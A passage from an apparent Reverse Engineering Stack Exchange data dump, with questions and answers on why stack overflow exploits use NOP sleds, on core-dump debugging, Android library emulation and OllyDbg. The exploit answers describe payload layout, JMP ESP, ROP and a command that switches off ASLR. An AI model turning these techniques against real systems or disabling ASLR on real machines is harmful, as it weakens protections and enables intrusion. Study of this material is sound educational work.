implemented an alternative system call mechanism to take advantage of SYSENTER/SYSEXIT instructions provided by all Pentium II+ processors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.win.tue.nl/~aeb/linux/lk/lk-4.html&quot; rel=&quot;noreferrer&quot;&gt;The Linux kernel, 4.6 Sysenter and the vsyscall page (2003)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It has been observed that a 2 GHz Pentium 4 was much slower than an 850 MHz Pentium III on certain tasks, and that this slowness is caused by the very large overhead of the traditional &lt;code&gt;int 0x80&lt;/code&gt; interrupt on a Pentium 4. Some models of the i386 family do have faster ways to enter the kernel. On Pentium II there is the &lt;code&gt;sysenter&lt;/code&gt; instruction. Also AMD has a &lt;code&gt;syscall&lt;/code&gt; instruction. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-11-03T18:50:08.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16706" PostTypeId="1" CreationDate="2017-11-04T12:57:48.253" Score="14" ViewCount="4341" Body="&lt;p&gt;So when taking a simple scenario and exploiting a stack buffer overflow in which I can execute code on the stack, my payload simply is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOP Sled -&amp;gt; Shellcode -&amp;gt; Padding -&amp;gt; New RET Address (Pointing to the NOP Sled)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I get is that we need to have a memory address included in the shellcode which points somewhere into the NOP Sled, which we need because we &quot;can't be sure&quot; what the return address is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't we be sure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be simple things such as argv[0] being different, eg. on one system the file might be &quot;/vuln&quot; and on another &quot;/home/user/vuln&quot; and for this reason the stack is already different?&#xA;Do environment Variables play a role? What else is involved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically my question is: Which factors lead to the stack being different every time we execute / executing the vuln program on another machine?&lt;/p&gt;&#xA;" OwnerUserId="22111" LastActivityDate="2017-11-05T23:16:20.290" Title="What causes the need for NOP sleds?" Tags="|memory|buffer-overflow|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16707" PostTypeId="1" CreationDate="2017-11-04T15:36:08.487" Score="1" ViewCount="1543" Body="&lt;p&gt;I obtained an ELF core dump that was provoked by fuzzing a proprietary server. As I do not have access anymore to the machine that hosted this server, and the server is part of a tightly coupled set of binaries that would be hard to emulate, I can't rely much on reproducing dynamically the crash in better conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core dump does not have much debugging information, mostly basic info about the registers' state at the moment of the crash, for each of the threads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Displaying notes found at file offset 0x000034a0 with length 0x000045b8:&#xA;  Owner                 Data size       Description&#xA;  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)&#xA;  CORE                 0x00000088       NT_PRPSINFO (prpsinfo structure)&#xA;  CORE                 0x00000130       NT_AUXV (auxiliary vector)&#xA;  CORE                 0x00000200       NT_FPREGSET (floating point registers)&#xA;  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)&#xA;  CORE                 0x00000200       NT_FPREGSET (floating point registers)&#xA;  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)&#xA;(...)&#xA;  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)&#xA;  CORE                 0x00000200       NT_FPREGSET (floating point registers)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I load the core dump into gdb, I can see only the backtraces for each thread, most are not interesting as they only contain the mention of an address located in shared object memory I can't fetch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) thread 3&#xA;[Switching to thread 3 (LWP 9593)]&#xA;#0  0x00007fa5eb282489 in ?? ()&#xA;(gdb) bt&#xA;#0  0x00007fa5eb282489 in ?? ()&#xA;#1  0x0000000000000000 in ?? ()&#xA;(gdb) x/i 0x00007fa225bce99d&#xA;=&amp;gt; 0x7fa5eb282489:  Cannot access memory at address 0x7fa5eb282489&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of the threads, however, is slightly more interesting as it contains an address contained in the binary proper. However, this address turns out to be located in the middle of a signal handler, and no to be the latest called function, as the binary jumped again already in a library at the time of the crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the backtrace does not look more interesting - except for a few addresses that look like they were fetched out of initialized memory (0x3030303000000009 - 0x30 is ASCII &quot;0&quot;, it the reason for this documented somewhere?).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) thread 1&#xA;[Switching to thread 1 (LWP 9593)]&#xA;#0  0x00007fa324ee2617 in ?? ()&#xA;(gdb) bt&#xA;#0  0x00007fa324ee2617 in ?? ()&#xA;#1  0x000000000073c0a9 in sigrecv ()&#xA;#2  0x3030303000000009 in ?? ()&#xA;#3  0x0000246830303030 in ?? ()&#xA;#4  0x0000000000000000 in ?? ()&#xA;(gdb) frame 1&#xA;#1  0x000000000073c0a9 in sigrecv ()&#xA;(gdb) info frame&#xA;Stack level 1, frame at 0x7fa1cf1d3828:&#xA; rip = 0x73c0a9 in sigrecv; saved rip = 0x3030303000000009&#xA; called by frame at 0x7fa1cf1d3830, caller of frame at 0x7fa1cf1d3820&#xA; Arglist at 0x7fa1cf1d3818, args: &#xA; Locals at 0x7fa1cf1d3818, Previous frame's sp is 0x7fa1cf1d3828&#xA; Saved registers:&#xA;  rip at 0x7fa1cf1d3820&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When jumping at the outlined point of the signal handler using IDA, i call see it is part of a large function and located just after a call to &lt;code&gt;kill(gettid(), SIGQUIT)&lt;/code&gt;. The core dump's metadata indicates indeed a SIGQUIT, albeit I guess this SIGQUIT was triggered after the actual crash that would then be a SIGSEGV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about writing a script for scanning the core dump for the presence of siginfo_t or ucontext_t, but I think it could be painful if not impossible as these structures do not seem to have very distinctive marks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what can I do to troubleshoot further the origin of the crash?&lt;/p&gt;&#xA;" OwnerUserId="22152" LastActivityDate="2017-11-04T15:36:08.487" Title="My core dump's backtrace stops to a signal handler, what can I do?" Tags="|binary-analysis|linux|gdb|elf|stack|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16708" PostTypeId="2" ParentId="8823" CreationDate="2017-11-04T15:57:56.873" Score="6" Body="&lt;p&gt;First, extract the whole APK (it's a renamed ZIP) and check whether there's not a x86 version of the binary, in addition of the ARM. It will depend on the best option to choose.&lt;/p&gt;&#xA;&lt;p&gt;The following options assume that you have analyzed the binary using a tool such as IDA, Hex-Rays or Hopper and that you could identify the functions that you want to reach.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you need to emulate the calling conventions between a GLIB-based Linux system and a &lt;code&gt;.so&lt;/code&gt; Android-targeted library, and that emulating the architecture is not a problem, for example because you have a x86 version of the library available in the APK:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;One quite common, but sometimes painful option is using &lt;strong&gt;&lt;a href=&quot;https://github.com/libhybris/libhybris&quot; rel=&quot;nofollow noreferrer&quot;&gt;libhybris&lt;/a&gt;&lt;/strong&gt;, a thin wrapper around Android's custom libc (Bionic) calling conventions that will allow you to call functions from the reverse engineered JNI from a regular GCC or Clang-compiled GLIBC program. Tutorials for libhybris are not numerous, but you'll find a couple of open source projects on the Internet that rely on it and will serve as sample code.&lt;/p&gt;&#xA;&lt;p&gt;However, libhybris will emulate the calling conventions but not the architecture.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you need to emulate both the architecture and the Android ABIs:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have a few options here, either running your part of the program on an ARM host - this could be the Android emulator, your smartphone, a cheap ARM VPS, a Raspberry Pi or something else - either using an emulator such as &lt;a href=&quot;http://nairobi-embedded.org/qemu_usermode.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;QEMU in user mode&lt;/strong&gt;&lt;/a&gt; (that allows you to emulate a single ELF file in a chrooted environment without emulating a whole system). Also, you'll likely have to cross-compile your code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you need to emulate the architecture, the Android ABIs and you wish to have more control over the emulated binary at the expense of parsing the ELF/handling the memory layout with code yourself:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Another option is using &lt;a href=&quot;http://www.unicorn-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Unicorn engine&lt;/strong&gt;&lt;/a&gt;, a library based on QEMU's code that allows you to emulate machine code on a foreign host in a way similar to using a debugger, by reading/writing registers, memory and setting breakpoints.&lt;/p&gt;&#xA;&lt;p&gt;Unicorn's API is pretty bare-metal: to use it, you parse the &lt;a href=&quot;http://man7.org/linux/man-pages/man5/elf.5.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;elf(5)&lt;/strong&gt;&lt;/a&gt; structure yourself, then, you allocate and write the relevant sections of the binary yourself, you set the registers (PC for the target function, SP at a point with free space, R0, R1 and so forth for the arguments, LR at a point where you set a hook) and your start the emulator.You can find a few easy-to-understand examples &lt;a href=&quot;http://www.unicorn-engine.org/docs/tutorial.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here, in C and in Python&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22152" LastEditorUserId="22152" LastEditDate="2020-12-23T11:44:02.403" LastActivityDate="2020-12-23T11:44:02.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16709" PostTypeId="1" AcceptedAnswerId="16711" CreationDate="2017-11-04T16:33:15.973" Score="2" ViewCount="2596" Body="&lt;p&gt;I used ollydbg to look at the disassembly of a binary I made to get some practice with reversing. When I close Olly, and then reopen it after a crash, the assembly window is at a different location. How do I search for my comments to jump back to where I was working? I've tried ctrl-g to search for them, but that only seems to search through the assembly code itself.&lt;/p&gt;&#xA;" OwnerUserId="22104" LastActivityDate="2017-11-04T17:35:25.397" Title="Searching for comments in ollydbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16710" PostTypeId="2" ParentId="16706" CreationDate="2017-11-04T17:16:54.760" Score="1" Body="&lt;p&gt;As you mentioned, many things can leave you with a different memory layout than the one you expect: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The name of the binary is one.&lt;/li&gt;&#xA;&lt;li&gt;The environment variables the binary gets is another one.&lt;/li&gt;&#xA;&lt;li&gt;If it's being debugged (related to the previous point)&lt;/li&gt;&#xA;&lt;li&gt;Security measures such as stack cookies&lt;/li&gt;&#xA;&lt;li&gt;Etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using hardcoded addresses pointing to the stack as the address that will be taken by &lt;code&gt;EIP&lt;/code&gt; is the wrong approach. That's how it was done in the early days. Sketchy approach and no DEP/NX in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more stable approach is that instead of jumping to the middle of the stack, you can directly jump to code that will get executed. There are different techniques to do so such as &lt;a href=&quot;http://phrack.org/issues/58/4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;return-to-libc/library&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Return-oriented_programming&quot; rel=&quot;nofollow noreferrer&quot;&gt;ROP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another simpler approach is checking where your registers point in the moment when the overflow happens (actually, when the segfault is triggered). Imagine that &lt;code&gt;ESP&lt;/code&gt; points to 0x12345678. If you have control of the contents of 0x12345678 at the moment of the segfault in a stable way, you can just use the address of a &lt;code&gt;JMP ESP&lt;/code&gt;-kind instruction as what will be taken by &lt;code&gt;EIP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why is this approach better?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Because you are certain that the binary itself or the libraries that get loaded (therefore, their instructions) when the binary is executed will always be stored in the same address. (1) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, the motto goes by... &quot;If your exploit contains &lt;code&gt;NOP&lt;/code&gt;s, you are doing something wrong!&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question in your title, there is no need for NOP sleds.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As far as there's no ASLR or module re-base.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13290" LastEditorUserId="13290" LastEditDate="2017-11-04T17:21:58.327" LastActivityDate="2017-11-04T17:21:58.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16711" PostTypeId="2" ParentId="16709" CreationDate="2017-11-04T17:26:32.967" Score="5" Body="&lt;p&gt;Searching for user comments can be done like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OllyDbg V1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Right Click &amp;gt;&amp;gt; Search for &amp;gt;&amp;gt; User-defined comment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OllyDbg V2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Right Click &amp;gt;&amp;gt; Search for &amp;gt;&amp;gt; All user comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It is not guaranteed that your comments were saved since OllyDbg won't save, just for an example, comments on a dynamic allocated code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the next time, I suggest you to use an external plugin to export and then import your comments. Back in the days I used &lt;a href=&quot;http://www.openrce.org/downloads/details/107/Labelmaster&quot; rel=&quot;noreferrer&quot;&gt;LabelMaster&lt;/a&gt; for this task.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On a personal note, I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated. Moreover, x64dbg is inspired by OllyDbg so you should not have too many problems with migrating to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://x64dbg.com&quot; rel=&quot;noreferrer&quot;&gt;x64dbg main website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;noreferrer&quot;&gt;The project's Github repository&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/&quot; rel=&quot;noreferrer&quot;&gt;x64dbg's documentation&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the record, you can list your defined comments in x64dbg by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; or by clicking the &quot;View&quot; menu and choosing &quot;Comments&quot;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-11-04T17:35:25.397" LastActivityDate="2017-11-04T17:35:25.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16713" PostTypeId="2" ParentId="16706" CreationDate="2017-11-05T01:41:00.590" Score="11" Body="&lt;p&gt;On modern systems the most obvious culprit is probably address space layout randomization, but stack frame layout variablity was problematic for exploit development even before ASLR became widely implemented. This was alluded to in AlephOne's venerable &quot;Smashing the Stack for Fun and Profit&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem we are faced when trying to overflow the buffer of another&#xA;  program is trying to figure out at what address the buffer (and thus our&#xA;  code) will be.  The answer is that for every program the stack will&#xA;  start at the same address.  Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time.  Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Trying to guess the&#xA;  offset even while knowing where the beginning of the stack lives is nearly&#xA;  impossible.  We would need at best a hundred tries, and at worst a couple of thousand.  The problem is we need to guess &lt;em&gt;exactly&lt;/em&gt; where the address of our code will start.  If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction.  One way to increase our chances is to pad the front of our overflow buffer with NOP instructions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So this is an issue even without ASLR enabled. Reasons for this involve the following (as far as I know):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compilers/compiler toolchains and the ABI&lt;/li&gt;&#xA;&lt;li&gt;the runtime environment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Compilers, the ABI and Stack Frame Layout&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Interestingly, the code that manages the runtime stack is generated by the compiler and the compiler cannot know what the absolute positions of stack frames during program runtime will be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While the location of a stack frame cannot be predicted at compile time (the compiler cannot in general tell what other frames may already be on the stack), the offsets of objects within a frame usually can be statically determined. Moreover, the compiler can arrange (in the calling sequence or prologue) for a particular register, known as the frame pointer to always point to a known location within the frame of the current subroutine. Code that needs to access a local variable within&#xA;  the current frame, or an argument near the top of the calling frame, can do so by adding a predetermined offset to the value in the frame pointer.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The way in which memory is allocated and deallocated for stack frames can vary across compilers, as well as different versions of the same compiler toolchain. Why this might be the case is alluded to in the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/abi386-4.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V i386 Architecture Processor Supplement&lt;/a&gt; (page 36):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The stack is word aligned. Although the architecture does not require any alignment of the stack, software convention and the operating system&#xA;  requires that the stack be aligned on a word boundary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By default, GCC aligns the stack to a 16-byte boundary on i386 machines (x86):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-4.5.3/gcc/i386-and-x86_002d64-Options.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;-mpreferred-stack-boundary=num&lt;/code&gt;&lt;/a&gt;&lt;br&gt;&#xA;  Attempt to keep the stack boundary aligned to a 2 raised to &lt;code&gt;num&lt;/code&gt; byte boundary. If &lt;code&gt;-mpreferred-stack-boundary&lt;/code&gt; is not specified, the default is 4 (16 bytes or 128 bits).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that even if a local variable or argument to a function is 4 bytes in length (such as  an&lt;code&gt;int&lt;/code&gt;), at least 16 bytes of space will be allocated on the stack frame for that function. Since this is a command line argument for &lt;code&gt;gcc&lt;/code&gt;, it goes without saying that this can be changed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other areas depend on the compiler and the code being compiled. The standard calling sequence does not define a maximum stack frame size, nor does it restrict how a language system uses the ‘‘unspecified’’ area of the standard stack frame.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This &quot;unspecified&quot; area of a stack frame includes all of the frame except for the return address and the saved base pointer of the previous frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qBX1N.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qBX1N.png&quot; alt=&quot;SYS V i386 standard stack frame&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data written to this area can include saved registers, local variables, temporaries, and arguments to the next function&lt;sup&gt;2&lt;/sup&gt;. GCC will allocate memory required to store this data in a frame &lt;em&gt;plus&lt;/em&gt; space required to maintain stack alignment to the boundary specified when the binary was compiled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZsNJf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZsNJf.png&quot; alt=&quot;x86 stack frame layout&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is how all of this ties together:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It cannot be determined prior to run time what the absolute virtual memory addresses of data on the stack will be, so indirect addressing is used instead (using &lt;code&gt;%ebp&lt;/code&gt; and &lt;code&gt;%esp&lt;/code&gt; to calculate offsets, for example). However, to control EIP an absolute memory address of executable instructions must be written to EIP. So now one must figure out what this address is without having absolute addresses to work with when disassembling the binary&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The precise layout of a stack frame, and by extension the runtime stack, is determined by the compiler used to create the binary one seeks to exploit. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This means that the amount of space allocated to variables such as buffers depends at the very least on the boundary to which the compiler aligns stack frames (4 bytes? 8 bytes? 16 bytes? and so on). &lt;/li&gt;&#xA;&lt;li&gt;This can lead to &quot;slack space&quot; in stack frames to which no values associated with local variables are written (contains garbage data). &lt;/li&gt;&#xA;&lt;li&gt;In addition to this, the compiler also determines in what order variables are laid out within the stack frame. &lt;/li&gt;&#xA;&lt;li&gt;Compilation with optimization can have adverse effects on calling conventions specified in the architecture-specific ABI and how stack frames are laid out&lt;/li&gt;&#xA;&lt;li&gt;Compilation with stack protection will further influence how data is arranged within stack frame by the compiler&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In sum, the offset between the buffer being overflowed and the target return address location can vary based on compiler toolchain (GCC, TCC, MSVC, etc), compiler version (3.x, 4.x etc) and the particular options used to compile the binary (alignment value, optimization level, stack protection, etc):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The exact distance between the return address and the start of the [buffer] can change due to different compiler versions and different optimization flags. As long as the start of the buffer is aligned with DWORDs on the stack, this mutability can be accounted for by simply repeating the return address many times. This way, at least one of the instances will overwrite the return address, even if it has shifted around due to compiler optimizations.&lt;sup&gt;3&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;The Runtime Environment&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It has been &lt;a href=&quot;https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966&quot;&gt;suggested elsewhere&lt;/a&gt; that stack layout indeterminicy can be caused by environmental variables and program arguments:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Exploit development can lead to serious headaches if you don't adequately account for factors that introduce non-determinism into the debugging process. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments before the beginning of the stack&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes sense if we look at how the stack is laid out in virtual memory:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DMGgA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DMGgA.png&quot; alt=&quot;The Linux Programming Interface, page 119&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are differences across executions in the environment or arguments, the location of the base of the stack may change as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show that this is not simply idle speculation, we can look at a concrete example. First, we disable ASLR like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we write a quick program in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int test(int a, int b)&#xA;{&#xA;        printf(&quot;%p\n&quot;, &amp;amp;a);&#xA;        return a*a + b*b;&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;        return test(3, 5);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When compiled and then run a few times with steadily increasing argument lengths, it is observed that the position on the stack of one of the local variables changes to lower and lower in virtual memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -m32 simple.c -o simple&#xA;$ ./simple &#xA;0xffffd210&#xA;$ ./simple AAAAAAAA&#xA;0xffffd200&#xA;$ ./simple AAAAAAAAAAAAAAAA&#xA;0xffffd200&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1f0&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1f0&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1e0&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1e0&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1d0&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1d0&#xA;$ ./simple AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;0xffffd1c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This indicates that changing the sizes of the arguments passed to &lt;code&gt;execve&lt;/code&gt; also changes the position of the runtime stack in virtual memory. The weakness of this extremely trivial example is that it does not accurately reflect the complexity of real-world programs or capture how the runtime stack changes throughout execution of more complex processes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional variable influencing the layout of the runtime stack is whether the binary is dynamically linked or not. If it is dynamically linked, process startup is handled by &lt;code&gt;glibc&lt;/code&gt;. &lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;noreferrer&quot;&gt;On x86 Linux systems the C runtime library function call sequence looks similar to this&lt;/a&gt;: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/suPwc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/suPwc.png&quot; alt=&quot;x86 Linux Program Startup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will depend on what version of &lt;code&gt;glibc&lt;/code&gt; the binary is linked against, and the runtime environment will vary across machines. This means that the function call sequence during process startup will vary across systems as well.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.win.tue.nl/~aeb/linux/hh/hh-10.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.win.tue.nl/~aeb/linux/hh/hh-10.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.win.tue.nl/~aeb/linux/hh/bof-eng.txt&quot; rel=&quot;noreferrer&quot;&gt;https://www.win.tue.nl/~aeb/linux/hh/bof-eng.txt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://0xax.gitbooks.io/linux-insides/content/Misc/program_startup.html&quot; 